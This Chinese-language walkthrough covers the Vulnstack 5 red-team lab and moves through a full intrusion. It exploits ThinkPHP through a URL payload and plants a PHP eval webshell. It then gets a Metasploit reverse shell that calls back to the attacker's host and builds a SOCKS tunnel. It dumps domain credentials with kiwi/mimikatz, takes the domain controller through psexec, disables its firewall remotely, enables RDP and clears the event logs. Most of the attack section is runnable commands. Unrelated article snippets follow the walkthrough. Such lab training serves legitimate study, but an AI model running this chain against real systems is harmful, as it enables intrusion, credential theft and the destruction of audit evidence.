Vulnstack----5、ATTCK红队评估实战靶场五

文章目录

  • 一 环境搭建
  • 二 外网渗透
  • 三 内网信息收集
    • 3.1 本机信息收集
    • 3.2 域内信息收集
  • 四 横向移动
    • 4.1 路由转发和代理通道
    • 4.2 抓取域用户密码
    • 4.3 使用Psexec登录域控
    • 4.4 3389远程登录
  • 五、痕迹清理


一 环境搭建


1、项目地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

2、环境拓扑

3、网络配置信息

1.VMware新建网卡VMnet6,选择仅主机模式,并将网段IP设置为192.168.138.0

2.Win7设置双网卡,一个网卡选择VMnet6、另一个NAT
  模拟外网IP:192.168.111.129(在Win7主机开启IP自动获取)
  内网IP:192.168.138.136
  账号密码:sun\heart 123.com 和 sun\Administrator dc123.com

3.Windows 2008 连接VMnet6
  内网IP:192.168.138.138
  sun\admin 2020.com

4.攻击机器Kali连接NAT
  IP:192.168.111.128

4、开启web环境


二 外网渗透


1.端口扫描

nmap -T4 -sC -sV 192.168.111.129

2.访问80端口

http://192.168.111.129
#尝试页面报错,获取thinkphp具体版本
http://192.168.111.129/?s=1

3.搜索thinkphp相关漏洞

searchsploit thinkphp

4.最后一条为RCE,查看46150.txt

cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt

漏洞描述: 由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 $_POST[‘_method’] 来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置 $_POST[‘_method’]=‘__construct’ 而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

5.使用payload进行攻击测试,whoami执行成功

http://192.168.111.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

6.写入webshell

#写入webshell的命令
echo "<?php @eval($_POST[whoami]);?>" > shell.php
http://192.168.111.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[whoami]);?>" > shell.php
http://192.168.111.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

7.蚁剑连接

shell:http://192.168.111.129/shell.php

三 内网信息收集


ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
whoami          # 查看当前用户
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享 
net config workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators   # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "domain controllers" /domain  # 查看域控制器(可能有多台)

3.1 本机信息收集

1.执行ipconfig
双网卡,外网ip:192.168.111.129,内网ip:192.168.138.136

2.执行whoami
administrator 管理员账户

3.执行 net config workstation
域环境名为 sun

3.2 域内信息收集

1.net user /domain
查看域用户

2.net group "domain computers" /domain
查看域内主机

3.net group "domain controllers" /domain
查看域控制器

4.net group "domain admins" /domain
查看域管理员

5.ping DC.sun.com
域控制器为DC$,域名为sun.com域管理员为Administrator。ping DC$得到域控的IP:192.168.138.138


四 横向移动


4.1 路由转发和代理通道

1.生成一个Meterpreter

Metasploit的Web Delivery Script是一个多功能模块,可在托管有效负载的攻击机器上创建服务器。当受害者连接到攻击服务器时,负载将在受害者机器上执行。此漏洞需要一种在受害机器上执行命令的方法。特别是你必须能够从受害者到达攻击机器。远程命令执行是使用此模块的攻击向量的一个很好的例子。Web Delivery脚本适用于php,python和基于PowerShell的应用程序。

# 生成一个powershell类型的payload
use exploit/multi/script/web_delivery
set target 2    # 选择使用powershell类型的payload
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.111.128
run

蚁剑执行生成的payload,反弹回一个meterpreter的shell

2.添加路由
在msfconsole里面添加一个通向192.168.138.0网段的路由

route add 192.168.138.0 255.255.255.0 1
route print

3.搭建代理通道

攻击端上传ew_for_linux64并执行如下命令:

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

Win7上传ew_for_Win.exe并执行如下命令:

start ew_for_Win.exe -s rssocks -d 192.168.111.128 -e 1234

4.配置proxychain
将socks5服务器指向127.0.0.1:1080,便可以使用proxychains将我们的程序代理进内网。

vim /etc/proxychains4.conf

4.2 抓取域用户密码

1.使用wiki模块抓取密码

load kiwi

注意结尾警告:64位机器上运行32的Kiwi

2.进程迁移

 # 可以看到x64 和 x86的进程ps 
# 通过进程id,选择一个64为进程进行迁移
migrate pid  

3.密码抓取

kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

抓取到域管理员账号密码:Administrator:Test@1234

4.3 使用Psexec登录域控

1.使用exploit/windows/smb/psexec模块

use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass Test@1234
set payload windows/meterpreter/bind_tcp
run

2.远程关闭域控防火墙
sessions创建失败,可能是由于防火墙导致,远程关闭。

net use \\192.168.138.138\ipc$ "Test@1234" /user:"administrator"
net use

利用sc创建服务来远程关闭Windows 2008的防火墙

#创建服务
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
#启动服务
sc \\192.168.138.138 start unablefirewall

3.使用exploit/windows/smb/psexec模块

4.4 3389远程登录

1.开启域控3389远程桌面

use post/windows/manage/enable_rdp
set session 1
run

2.登录域控


五、痕迹清理


1.查看事件日志

run event_manager -i

2.清除事件日志(包括六种日志类型)

run event_manager -c

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/118118.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

合宙Air724UG LuatOS-Air LVGL API控件--进度条 (Bar)

进度条 (Bar) Bar 是进度条&#xff0c;可以用来显示数值&#xff0c;加载进度。 示例代码 – 创建进度条 bar lvgl.bar_create(lvgl.scr_act(), nil) – 设置尺寸 lvgl.obj_set_size(bar, 200, 20); – 设置位置居中 lvgl.obj_align(bar, NULL, lvgl.ALIGN_CENTER, 0, 0) …

js实现点击查看全部/收起功能

在上一篇文章实现用js截取文本后&#xff0c;我的另一个需求也迎刃而解了。需求就是一段长文本需要溢出隐藏&#xff0c;然后点击全部时显示全部文本&#xff0c;点击收起又回到溢出隐藏的状态。实现的效果如下图&#xff1a; 实现的思路时点击全部时使用这条数据的原文本&…

设计模式-中介者模式

文章目录 一、前言二、中介者模式1、定义2、未使用/使用中介者模式对比2.1、未使用中介者模式&#xff1a;2.2、使用中介者模式&#xff1a; 3、角色分析3.1、中介者&#xff08;Mediator&#xff09;&#xff1a;3.2、同事&#xff08;Colleague&#xff09;&#xff1a;3.3、…

tableau基础学习2:时间序列数据预处理与绘图

文章目录 数据预处理1. 原始数据2. 合并数据集2. 创建计算字段 绘图分析1. 趋势分析2. 计算字段趋势分析 这一部分&#xff0c;我们记录一些分析时序趋势的分析步骤 数据预处理 1. 原始数据 原始数据是excel表格&#xff0c;其中包含三个Sheet页&#xff0c; 这里我们选择两…

02-请解释一下Java的内存模型和happens-before规则?【Java面试题总结】

请解释一下Java的内存模型和happens-before规则&#xff1f; 概念&#xff1a;Java内存模型&#xff0c;简称JMM&#xff0c;是一种定义了多线程程序中内存访问行为的规范。它定义了线程如何与主内存和工作内存进行交互&#xff0c;以及如何保证多线程程序的正确性和可见性。J…

ChatGPT Prompting开发实战(三)

一、关于chaining prompts与CoT的比较 前面谈到的CoT的推理过程&#xff0c;可以比作是一次性就烹调好一顿大餐&#xff0c;那么接下来要说的“chaining prompts”&#xff0c;其背后的理念是分多次来完成这样一项复杂任务&#xff0c;每次只完成其中一步或者一个子任务。核心…

探索图像数据中的隐藏信息:语义实体识别和关系抽取的奇妙之旅

探索图像数据中的隐藏信息&#xff1a;语义实体识别和关系抽取的奇妙之旅 1. 简介 1.1 背景 关键信息抽取 (Key Information Extraction, KIE)指的是是从文本或者图像中&#xff0c;抽取出关键的信息。针对文档图像的关键信息抽取任务作为OCR的下游任务&#xff0c;存在非常…

2023年的深度学习入门指南(26) - 在自己电脑上运行通义千问7b模型

2023年的深度学习入门指南(26) - 在自己电脑上运行通义千问7b模型 通过量化&#xff0c;通义千问4位量化的模型大小为5.86G&#xff0c;可以在3060等小于16G的家用GPU上也可以运行起来。 通义千问7b的量化运行 通义千问7b提供了4位量化好的Qwen/Qwen-7B-Chat-Int4模型&#…

无涯教程-Android - RadioGroup函数

RadioGroup类用于单选按钮集。 如果我们选中属于某个单选按钮组的一个单选按钮,它将自动取消选中同一组中以前选中的任何单选按钮。 RadioGroup属性 以下是与RadioGroup控制相关的重要属性。您可以查看Android官方文档以获取属性的完整列表以及可以在运行时更改这些属性的相关…

day-07 I/O复用(select)

一.I/O复用 &#xff08;一&#xff09;基于I/O复用的服务器端 1.多进程服务器 每次服务都需要创建一个进程&#xff0c;需要大量的运算和内存空间 2.复用 只需创建一个进程。 3.复用技术在服务器端的应用 &#xff08;二&#xff09;select函数实现服务器端 &#xff08;…

03-基础例程3

基础例程3 01、外部中断 ESP32的外部中断有上升沿、下降沿、低电平、高电平触发模式。 实验目的 使用外部中断功能实现按键控制LED的亮灭 按键按下为0。【即下降沿】 * 接线说明&#xff1a;按键模块-->ESP32 IO* (K1-K4)-->(14,27,26,25)* * …

软件测试Day6|接口测试

学习流程 接口测试流程 需求分析和评审–接口文档分析–编写测试用例–测试用例设计及评审–测试脚本构建–执行测试用例–缺陷管理和回归–测试报告和总结计网基础&#xff08;URL、请求、响应&#xff09; 接口文档解析 拿到一个项目接口之后&#xff0c;先测试业务接口还是…

抽象轻松的C语言

#include <stdio.h> /* 预处理指令*/ /* 函数 */ int main() {int log 3.14;printf("hello word * %d\n easy", log);getchar();/* 获取键盘输入的字母&#xff0c;在这个程序中的作用是防止程序瞬间关闭 */return 0; } 上一篇说过&#xff0c;C程序是C语言的…

21.4 CSS 盒子模型

1. 边框样式 border-style属性: 指定元素的边框样式.常用属性值: - none: 无边框(默认值). - solid: 实线边框. - dotted: 点状边框. - dashed: 虚线边框. - double: 双线边框. - groove: 凹槽状边框. - ridge: 脊状边框. - inset: 内阴影边框. - outset: 外阴影边框.这些值可…

「MySQL-02」数据库的操纵、备份、还原和编码规则

目录 一、库操作 1. 创建数据库 2. 查看所有数据库 3. 删除数据库 4. 修改数据库 5. 进入一个数据库 二、查看和设置数据库的编码规则 1. MySQL的两个编码规则&#xff1a;字符集和校验规则 2. 查看MySQL当前使用的字符集以及校验规则 3. 查看MySQL支持的所有字符集 4. 查看MyS…

肖sir__linux详解__002(系统命令)

linux系统命令 1、df 查看磁盘使用情况 &#xff08;1&#xff09;df 查看磁盘使用情况&#xff08;按kb单位显示&#xff09; &#xff08;2&#xff09;df -h 按单位显示磁盘使用情况 2、top 实时查看动态进程 &#xff08;1&#xff09;top 详解&#xff1a; 第一行&…

为什么要学习C++

操作系统历史 UINX操作系统诞生之初是用汇编语言编写的。随着UNIX的发展&#xff0c;汇编语言的开发效率成为一个瓶颈。寻找新的高效开发语言成为UNIX开发者需要解决的问题。当时BCPL语言成为了当时的选择之一。Ken Thomposn对BCPL进行简化得到了B语言。但是B语言不是直接生成…

【AWS实验】 配置中转网关及对等连接

文章目录 实验概览目标实验环境任务 1&#xff1a;查看网络拓扑并创建基准任务 2&#xff1a;创建中转网关任务 3&#xff1a;创建中转网关挂载任务 4&#xff1a;创建中转网关路由表任务 4.1&#xff1a;创建路由表关联任务 4.2&#xff1a;创建路由传播 任务 5&#xff1a;更…

Android JNI系列详解之ndk-build工具的使用

一、Android项目中使用ndk-build工具编译库文件 之前介绍过CMake编译工具的使用&#xff0c;今天介绍一种ndk自带的编译工具ndk-build的使用。 ndk-build目前主要有两种配置使用方式&#xff1a; 如上图所示&#xff0c;第一种方式是Android.mkApplication.mkgradle的方式生成…